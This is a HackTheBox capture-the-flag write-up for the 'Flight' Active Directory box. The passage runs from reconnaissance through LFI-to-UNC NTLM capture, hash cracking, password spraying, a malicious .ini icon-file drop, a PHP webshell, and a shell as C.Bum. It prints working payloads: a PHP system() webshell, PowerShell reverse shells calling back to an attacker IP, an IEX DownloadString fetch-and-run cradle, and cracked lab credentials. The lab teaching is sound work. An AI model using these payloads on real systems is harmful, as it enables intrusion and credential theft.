> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/flight.md).

# Flight

Windows AD DC pwned via LFI→UNC injection, NTLM capture, password reuse, and .ini file drop ; chaining five accounts through PHP/ASPX webshells, Kerberos delegation, and DCSync to Administrator.

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2FR3xa5wmtlyXSunE1nzea%2Fimage.png?alt=media&amp;token=45c7a878-6fa4-4019-9132-814330e93ed0" alt=""><figcaption></figcaption></figure>

### 1. Overview

Flight is a Hard-rated Windows Active Directory machine on HackTheBox. The attack chain is multi-stage and realistic, touching on web application vulnerabilities, credential theft via SMB coercion, lateral movement through password reuse, web shell deployment across two different technologies (PHP and ASPX), internal port forwarding, Kerberos ticket manipulation, and finally a DCSync attack to retrieve the domain Administrator hash.

The box runs a Windows Server 2019 domain controller (`flight.htb` / `G0`) hosting an Apache/PHP web stack externally and an IIS development server internally on port 8000. Rooting it requires chaining together more than a dozen techniques across five separate user contexts.

**Techniques used:**

| Technique                | Tool / Method                             |
| ------------------------ | ----------------------------------------- |
| Subdomain Enumeration    | `ffuf` virtual host fuzzing               |
| LFI → UNC Path Injection | Bypass monitored LFI via SMB path         |
| NTLM Hash Capture        | Responder + NTLMv2 coercion               |
| Hash Cracking            | Hashcat mode 5600 (NetNTLMv2)             |
| Password Spray           | Credential reuse across domain users      |
| SCF/INI File Drop        | Coerce auth via malicious `.ini` file     |
| PHP Webshell             | RCE via SMB write → web access            |
| Port Forwarding          | Chisel reverse tunnel to internal app     |
| ASPX Webshell            | IIS code execution as AppPool             |
| Kerberos TGT Delegation  | Rubeus `tgtdeleg` for IIS machine account |
| DCSync (DRSUAPI)         | `impacket-secretsdump` for NTLM hash      |
| Pass-the-Hash            | `evil-winrm` to get Administrator shell   |

***

### 2. Reconnaissance

#### 2.1 Port Scan — Nmap

An nmap service-version scan against the target reveals a classic Windows domain controller fingerprint — DNS, Kerberos, LDAP, SMB, and RPC all present — plus an unexpected Apache/PHP web server on port 80.

```bash
┌──(kali㉿kali)-[~]
└─$ nmap 10.129.228.120 -sCV

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: g0 Aviation
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-13 21:49:58Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m57s
| smb2-time: 
|   date: 2026-03-13T21:50:21
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

```

#### 2.2 Subdomain Enumeration — ffuf

The main site at `flight.htb` is a static aviation company page with nothing interesting. Virtual-host fuzzing with ffuf using `-fs 7069` to filter the default response size quickly surfaces a second subdomain.

```bash
┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://flight.htb/" \
  -H "Host: FUZZ.flight.htb" \
  -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs 7069

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://flight.htb/
 :: Wordlist         : FUZZ: /home/kali/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.flight.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7069
________________________________________________

school                  [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 194ms]
:: Progress: [5000/5000] :: Job [1/1] :: 274 req/sec :: Duration: [0:00:19] :: Errors: 0 ::
```

the subdomain `school.flight.htb` looked like this

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2FUGddwdoBFC73dcRhbU27%2FPasted%20image%2020260313212715.png?alt=media&amp;token=771b4d8f-bd3e-41d4-9ea7-05a7278f8c97" alt=""><figcaption></figcaption></figure>

***

### 3. Initial Foothold — svc\_apache

#### 3.1 LFI Discovery on school.flight.htb

The Aviation School subdomain uses a PHP include pattern:\
there was this URL, which looks vulnerable to LFI- `http://school.flight.htb/index.php?view=blog.html`\
This is a classic Local File Inclusion (LFI) vector. A naïve traversal attempt to read `windows/win.ini` is detected and blocked by a security monitor, returning a **"Suspicious Activity Blocked! Incident will be reported"** page. Direct filesystem LFI will not work here.

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2FUwKKwXsIRwKImncc54yg%2FPasted%20image%2020260313212626.png?alt=media&amp;token=cc1443f9-4106-48ae-b4ad-1550eb87eebf" alt=""><figcaption></figcaption></figure>

#### 3.2 UNC Path Injection → NTLM Hash Capture

Even though filesystem traversal is blocked, the `include` mechanism may still accept UNC (Universal Naming Convention) paths — Windows-style network paths of the form `//HOST/SHARE`. Providing an attacker-controlled UNC path causes the Windows server to initiate an outbound SMB connection back to us, leaking the NTLMv2 challenge-response hash of the service account running Apache.

**Step 1 — Start Responder to listen for incoming SMB auth:**

```bash
┌──(kali㉿kali)-[~]
└─$ sudo responder -I tun0 -v
...SNIP...
[+] Listening for events...  
```

**Step 2 — Trigger the UNC callback through the LFI parameter:**

```bash
┌──(kali㉿kali)-[~]
└─$ curl "http://school.flight.htb/index.php?view=//10.10.16.5/share" 
```

**Step 3 — Responder captures the NTLMv2 hash:**

```bash
[SMB] NTLMv2-SSP Client   : 10.129.228.120
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:8852ca648726152a:4FCF23C6E57C745F2A0541763D568CF2:0101000000000000803A367715B3DC01D4082012C51BD75300000000020008003300480034004A0001001E00570049004E002D004D00450037004E00580051004600440053003500480004003400570049004E002D004D00450037004E0058005100460044005300350048002E003300480034004A002E004C004F00430041004C00030014003300480034004A002E004C004F00430041004C00050014003300480034004A002E004C004F00430041004C0007000800803A367715B3DC01060004000200000008003000300000000000000000000000003000007C4767B3F60B590779285D17BF97BC86B899146EF375DA85F306907D1BD0F8E20A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0035000000000000000000 
```

#### 3.3 Hash Cracking — svc\_apache

Save the full NTLMv2 hash blob to a file and crack it with hashcat using mode 5600 (NetNTLMv2) against the RockYou wordlist:

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ hashcat -m 5600 svcapachehash.txt /usr/share/wordlists/rockyou.txt 

SVC_APACHE::flight:8852ca648726152a:4fcf23c6e57c745f2a0541763d568cf2:010...SNIP...:S@Ss!K@*t13

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: SVC_APACHE::flight:8852ca648726152a:4fcf23c6e57c745...000000
Time.Started.....: Fri Mar 13 18:29:27 2026 (5 secs)
Time.Estimated...: Fri Mar 13 18:29:32 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  2129.9 kH/s (1.41ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10665984/14344385 (74.36%)
Rejected.........: 0/10665984 (0.00%)
Restore.Point....: 10661888/14344385 (74.33%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: SAESH21 -> Ryanpetter
Hardware.Mon.#01.: Util: 71%
```

> **Credentials:** `flight\svc_apache` : `S@Ss!K@*t13`

#### 3.4 Validating Access — SMB & LDAP

The cracked credentials are verified across protocols with NetExec (`nxc`). SMB and LDAP authenticate successfully, but WinRM does not — no direct shell yet.

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ nxc smb 10.129.228.120 -u svc_apache -p 'S@Ss!K@*t13'
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.120  445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 



┌──(kali㉿kali)-[~/Documents/flight]
└─$ nxc winrm 10.129.228.120 -u svc_apache -p 'S@Ss!K@*t13'
WINRM       10.129.228.120  5985   G0               [*] Windows 10 / Server 2019 Build 17763 (name:G0) (domain:flight.htb) 
WINRM       10.129.228.120  5985   G0               [-] flight.htb\svc_apache:S@Ss!K@*t13



┌──(kali㉿kali)-[~/Documents/flight]
└─$ nxc ldap 10.129.228.120 -u svc_apache -p 'S@Ss!K@*t13'
LDAP        10.129.228.120  389    G0               [*] Windows 10 / Server 2019 Build 17763 (name:G0) (domain:flight.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.228.120  389    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13
```

We have SMB and LDAP — enough to enumerate the domain deeply.

***

### 4. Lateral Movement — S.Moon → C.Bum

#### 4.1 Domain User Enumeration via RID Brute Force

Using `svc_apache` credentials, RID-brute SMB to enumerate all domain accounts without requiring direct LDAP queries:

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ nxc smb 10.129.228.120 -u svc_apache -p 'S@Ss!K@*t13' --rid-brute
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.120  445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.129.228.120  445    G0               498: flight\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.228.120  445    G0               500: flight\Administrator (SidTypeUser)
SMB         10.129.228.120  445    G0               501: flight\Guest (SidTypeUser)
SMB         10.129.228.120  445    G0               502: flight\krbtgt (SidTypeUser)
SMB         10.129.228.120  445    G0               512: flight\Domain Admins (SidTypeGroup)
SMB         10.129.228.120  445    G0               513: flight\Domain Users (SidTypeGroup)
SMB         10.129.228.120  445    G0               514: flight\Domain Guests (SidTypeGroup)
SMB         10.129.228.120  445    G0               515: flight\Domain Computers (SidTypeGroup)
SMB         10.129.228.120  445    G0               516: flight\Domain Controllers (SidTypeGroup)
SMB         10.129.228.120  445    G0               517: flight\Cert Publishers (SidTypeAlias)
SMB         10.129.228.120  445    G0               518: flight\Schema Admins (SidTypeGroup)
SMB         10.129.228.120  445    G0               519: flight\Enterprise Admins (SidTypeGroup)
SMB         10.129.228.120  445    G0               520: flight\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.228.120  445    G0               521: flight\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.228.120  445    G0               522: flight\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.228.120  445    G0               525: flight\Protected Users (SidTypeGroup)
SMB         10.129.228.120  445    G0               526: flight\Key Admins (SidTypeGroup)
SMB         10.129.228.120  445    G0               527: flight\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.228.120  445    G0               553: flight\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.228.120  445    G0               571: flight\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.228.120  445    G0               572: flight\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.228.120  445    G0               1000: flight\Access-Denied Assistance Users (SidTypeAlias)
SMB         10.129.228.120  445    G0               1001: flight\G0$ (SidTypeUser)
SMB         10.129.228.120  445    G0               1102: flight\DnsAdmins (SidTypeAlias)
SMB         10.129.228.120  445    G0               1103: flight\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.228.120  445    G0               1602: flight\S.Moon (SidTypeUser)
SMB         10.129.228.120  445    G0               1603: flight\R.Cold (SidTypeUser)
SMB         10.129.228.120  445    G0               1604: flight\G.Lors (SidTypeUser)
SMB         10.129.228.120  445    G0               1605: flight\L.Kein (SidTypeUser)
SMB         10.129.228.120  445    G0               1606: flight\M.Gold (SidTypeUser)
SMB         10.129.228.120  445    G0               1607: flight\C.Bum (SidTypeUser)
SMB         10.129.228.120  445    G0               1608: flight\W.Walker (SidTypeUser)
SMB         10.129.228.120  445    G0               1609: flight\I.Francis (SidTypeUser)
SMB         10.129.228.120  445    G0               1610: flight\D.Truff (SidTypeUser)
SMB         10.129.228.120  445    G0               1611: flight\V.Stevens (SidTypeUser)
SMB         10.129.228.120  445    G0               1612: flight\svc_apache (SidTypeUser)
SMB         10.129.228.120  445    G0               1613: flight\O.Possum (SidTypeUser)
SMB         10.129.228.120  445    G0               1614: flight\WebDevs (SidTypeGroup)
```

#### 4.2 Password Spray — Credential Reuse

The `svc_apache` password is sprayed across all discovered users. Password reuse is found for `S.Moon`:

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ nxc smb 10.129.228.120 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.120  445    G0               [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [-] flight.htb\G0$:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         10.129.228.120  445    G0               [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.228.120  445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.129.228.120  445    G0               [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
```

> **Credentials:** `flight\S.Moon` : `S@Ss!K@*t13`

#### 4.3 Checking S.Moon's SMB Shares

Enumerating shares as `S.Moon` reveals READ+WRITE access to the `Shared` share — which `svc_apache` could only read. This is the pivot point for the next escalation.

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ nxc smb 10.129.228.120 -u S.Moon -p 'S@Ss!K@*t13' --shares
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.120  445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         10.129.228.120  445    G0               [*] Enumerated shares
SMB         10.129.228.120  445    G0               Share           Permissions     Remark
SMB         10.129.228.120  445    G0               -----           -----------     ------
SMB         10.129.228.120  445    G0               ADMIN$                          Remote Admin
SMB         10.129.228.120  445    G0               C$                              Default share
SMB         10.129.228.120  445    G0               IPC$            READ            Remote IPC
SMB         10.129.228.120  445    G0               NETLOGON        READ            Logon server share 
SMB         10.129.228.120  445    G0               Shared          READ,WRITE      
SMB         10.129.228.120  445    G0               SYSVOL          READ            Logon server share 
SMB         10.129.228.120  445    G0               Users           READ            
SMB         10.129.228.120  445    G0               Web             READ 
```

#### 4.4 SCF/INI File Drop to Steal C.Bum's Hash

A user is periodically browsing the `Shared` folder (simulated by the box). By placing a malicious Shell Command File (SCF) there, we can force their machine to reach out to our Responder, leaking their NTLMv2 hash. The SCF tells Windows Explorer to load an icon from a UNC path — triggering SMB authentication.

Uploading `.scf` directly is blocked with `NT_STATUS_ACCESS_DENIED`. Renaming it to `.ini` bypasses the restriction entirely.

**trigger.scf contents:**

```bash
[Shell]
Command=2
IconFile=\\10.10.16.5\share\icon.ico
[Taskbar]
Command=ToggleDesktop
```

From this response, I got to know that, it is not allowed to put this file in the folder

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ smbclient //10.129.228.120/Shared -U S.Moon%'S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> put trigger.scf
NT_STATUS_ACCESS_DENIED opening remote file \trigger.scf
```

from [NTLM\_STEALER](https://github.com/Greenwolf/ntlm_theft) we'll see all the extensions we can try, and `.ini` worked, so we'll just rename `trigger.scf` to `trigger.ini`

```bash
smb: \> put trigger.ini
putting file trigger.ini as \trigger.ini (0.1 kB/s) (average 0.2 kB/s)
```

*before* putting the file in the share we'll have to start `responder`\
Responder captures `C.Bum`'s hash shortly after the file is placed:

```bash
[SMB] NTLMv2-SSP Client   : 10.129.228.120
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash     : c.bum::flight.htb:ff980e6d38cf8b52:B3CB43D3561C5435473330DCA3ECC348:0101000000000000807AE94C1FB3DC01F2B9D274A28C8B3400000000020008004B0051004100300001001E00570049004E002D003000390052004A0036004C005500430031004B00340004003400570049004E002D003000390052004A0036004C005500430031004B0034002E004B005100410030002E004C004F00430041004C00030014004B005100410030002E004C004F00430041004C00050014004B005100410030002E004C004F00430041004C0007000800807AE94C1FB3DC01060004000200000008003000300000000000000000000000003000007C4767B3F60B590779285D17BF97BC86B899146EF375DA85F306907D1BD0F8E20A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0035000000000000000000 
```

we'll put the netNTLMv2 hash in a file and crack it using hashcat

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ hashcat -m 5600 cbumhash.txt /usr/share/wordlists/rockyou.txt 

C.BUM::flight.htb:ff980e6d38cf8b52:b3cb43d3561c5435473330dca3ecc348:01...SNIP...000:Tikkycoll_431012284
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: C.BUM::flight.htb:ff980e6d38cf8b52:b3cb43d3561c5435...000000
Time.Started.....: Fri Mar 13 20:02:09 2026 (5 secs)
Time.Estimated...: Fri Mar 13 20:02:14 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  2010.2 kH/s (1.45ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10539008/14344385 (73.47%)
Rejected.........: 0/10539008 (0.00%)
Restore.Point....: 10534912/14344385 (73.44%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: Tioncurtis23 -> Thelittlemermaid
Hardware.Mon.#01.: Util: 73%
```

> **Credentials:** `flight\C.Bum` : `Tikkycoll_431012284`

Grab the user flag from C.Bum's desktop while we're here:

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ smbclient //10.129.228.120/Users -U C.BUM%Tikkycoll_431012284

smb: \> cd C.BUM\Desktop
smb: \C.BUM\Desktop\> get user.txt
```

***

### 5. Remote Code Execution — svc\_apache Context

#### 5.1 Write PHP Webshell via SMB

C.Bum is a member of the `WebDevs` group. Enumerating shares as C.Bum shows READ+WRITE on the `Web` share which maps directly to the Apache web root for `school.flight.htb`.

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ nxc smb 10.129.228.120 -u C.BUM -p 'Tikkycoll_431012284' --shares
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.120  445    G0               [+] flight.htb\C.BUM:Tikkycoll_431012284 
SMB         10.129.228.120  445    G0               [*] Enumerated shares
SMB         10.129.228.120  445    G0               Share           Permissions     Remark
SMB         10.129.228.120  445    G0               -----           -----------     ------
SMB         10.129.228.120  445    G0               ADMIN$                          Remote Admin
SMB         10.129.228.120  445    G0               C$                              Default share
SMB         10.129.228.120  445    G0               IPC$            READ            Remote IPC
SMB         10.129.228.120  445    G0               NETLOGON        READ            Logon server share 
SMB         10.129.228.120  445    G0               Shared          READ,WRITE      
SMB         10.129.228.120  445    G0               SYSVOL          READ            Logon server share 
SMB         10.129.228.120  445    G0               Users           READ            
SMB         10.129.228.120  445    G0               Web             READ,WRITE  
```

A minimal PHP webshell is uploaded:

```php
<?php system($_REQUEST['cmd']); ?>
```

and upload it on the smb share web in folder `school.flight.htb`

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ smbclient //10.129.228.120/Web -U C.BUM%Tikkycoll_431012284

smb: \> cd school.flight.htb\
smb: \school.flight.htb\> put shell.php
putting file shell.php as \school.flight.htb\shell.php (0.1 kB/s) (average 0.1 kB/s)
```

Visiting `http://school.flight.htb/shell.php?cmd=whoami` confirms RCE as `flight\svc_apache`.

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2FNpOVlyBHVewHqBpF9SFT%2FPasted%20image%2020260314011827.png?alt=media&amp;token=c4680bdf-7937-4c98-a613-212b3ddef991" alt=""><figcaption></figcaption></figure>

#### 5.2 Establish Reverse Shell as svc\_apache

A PowerShell TCP reverse shell (`shell.ps1`) is hosted via Python's HTTP server and pulled down through the webshell:

```powershell
$client = New-Object System.Net.Sockets.TCPClient("10.10.16.5",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
```

host it using a python http server

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ python -m http.server 8000
```

start a netcat listener

```bash
┌──(kali㉿kali)-[~/Documents/flight]
└─$ nc -lvnp 4444                                             
listening on [any] 4444 ...
```

then fetch and run it using

```
http://school.flight.htb/shell.php?cmd=powershell%20-c%20%22IEX(New-Object%20Net.WebClient).DownloadString(%27http://10.10.16.5:8000/shell.ps1%27)%22
```

on our netcat listener, we see

```bash
connect to [10.10.16.5] from (UNKNOWN) [10.129.228.120] 62582
whoami
flight\svc_apache
```

#### 5.3 Discover Internal Port 8000

Running `netstat` inside the shell surfaces port 8000 listening on all interfaces, assigned to PID 4 (System). This port is not exposed externally.

```powershell
PS C:\Users\svc_apache> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
...SNIP...
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
...SNIP...

PS C:\Users\svc_apache> netstat -ano | findstr 8000
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
  TCP    [::]:8000              [::]:0                 LISTENING       4
```

A quick PowerShell web request to localhost confirms it serves HTML — an internal IIS development copy of the main aviation site:

```powershell

PS C:\Users\svc_apache> Invoke-WebRequest http://127.0.0.1:8000 -UseBasicParsing -Verbose

StatusCode        : 200
StatusDescription : OK
Content           : <!DOCTYPE html>
                    <html>
                        <head>
                            <meta charset="utf-8">
                            <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
                    <!--
                    
                    Template 2093 Flight
                    
                    http://www.tooplate.com/vie...
RawContent        : HTTP/1.1 200 OK
                    Accept-Ranges: bytes
                    Content-Length: 45949
                    Content-Type: text/html
                    Date: Sat, 14 Mar 2026 03:18:50 GMT
                    ETag: "03cf42dc9d5d31:0"
                    Last-Modified: Mon, 16 Apr 2018 21:23:36 GMT
                    Serv...
Forms             : 
Headers           : {[Accept-Ranges, bytes], [Content-Length, 45949], [Content-Type, text/html], [Date, Sat, 14 Mar 
                    2026 03:18:50 GMT]...}
Images            : {@{outerHTML=<img src="img/logo.png" alt="Flight Template">; tagName=IMG; src=img/logo.png; 
                    alt=Flight Template}, @{outerHTML=<img src="img/weather-icon-03.png" alt="">; tagName=IMG; 
                    src=img/weather-icon-03.png; alt=}, @{outerHTML=<img src="img/weather-icon-02.png" alt="">; 
                    tagName=IMG; src=img/weather-icon-02.png; alt=}, @{outerHTML=<img src="img/weather-icon-01.png" 
                    alt="">; tagName=IMG; src=img/weather-icon-01.png; alt=}...}
InputFields       : {}
Links             : {@{outerHTML=<a href="http://facebook.com">Find us on <em>Facebook</em><i class="fa 
                    fa-facebook"></i></a>; tagName=A; href=http://facebook.com}, @{outerHTML=<a 
                    href="http://youtube.com">Our <em>YouTube</em> Channel<i class="fa fa-youtube"></i></a>; 
                    tagName=A; href=http://youtube.com}, @{outerHTML=<a href="http://instagram.com">Follow our 
                    <em>instagram</em><i class="fa fa-instagram"></i></a>; tagName=A; href=http://instagram.com}, 
                    @{outerHTML=<a href="contact.html"><i class="fa fa-phone"></i>Contact Us Now</a>; tagName=A; 
                    href=contact.html}...}
ParsedHtml        : 
RawContentLength  : 45949
```

This is most probably an internal version of the flight website seen on port 80 from outside\
This internal site will be the vector for privilege escalation.

***

### 6. Escalation to C.Bum — IIS Development Site

#### 6.1 Spawn a Shell as C.Bum with RunasCs

`svc_apache` has limited privileges. Since C.Bum is in `WebDevs` and should have write access to the IIS development directory, we use `RunasCs.exe` (transferred via the Python HTTP server) to run commands as C.Bum without an interactive logon session.

```powershell
PS C:\Users\svc_apache> .\runascs.exe C.BUM Tikkycoll_431012284 "cmd /c whoami" -d flight.htb
[*] Warning: The logon for user 'C.BUM' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

flight\c.bum
```

Now we have to get another reverse shell but as C.BUM to enumerate and escalate properly, so first start another nc listener

```bash
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
```

now in the svc\_apache reverse shell

```powershell
.\runascs.exe C.BUM Tikkycoll_431012284 -d flight.htb -l 2 "powershell -nop -w hidden -c `$c=New-Object Net.Sockets.TCPClient('10.10.16.5',5555);`$s=`$c.GetStream();[byte[]]`$b=0..65535|%{0};while((`$i=`$s.Read(`$b,0,`$b.Length)) -ne 0){`$d=(New-Object Text.ASCIIEncoding).GetString(`$b,0,`$i);`$r=(iex `$d 2>&1|Out-String);`$sb=([text.encoding]::ASCII).GetBytes(`$r);`$s.Write(`$sb,0,`$sb.Length);`$s.Flush()};`$c.Close()"
```

in our netcat we'll see

```bash
connect to [10.10.16.5] from (UNKNOWN) [10.129.228.120] 63870
whoami
flight\c.bum
```

#### 6.2 Write Access to C:\inetpub\development

As C.Bum, the IIS development directory is writable — confirmed by successfully creating a test file:

```bash
cd C:\inetpub

ls
    Directory: C:\inetpub
Mode                LastWriteTime         Length Name                              ----                -------------         ------ ----                  d-----        9/22/2022  12:24 PM                custerr                     d-----        3/13/2026   8:37 PM                development                 d-----        9/22/2022   1:08 PM                history                     d-----        9/22/2022  12:32 PM                logs                        d-----        9/22/2022  12:24 PM                temp                        d-----        9/22/2022  12:28 PM                wwwroot                           
cd development

ls
    Directory: C:\inetpub\development
Mode                LastWriteTime         Length Name                        ----                -------------         ------ ----                        d-----        3/13/2026   8:37 PM                css                         d-----        3/13/2026   8:37 PM                fonts                       d-----        3/13/2026   8:37 PM                img                         d-----        3/13/2026   8:37 PM                js                          -a----        4/16/2018   2:23 PM           9371 contact.html                -a----        4/16/2018   2:23 PM          45949 index.html                  

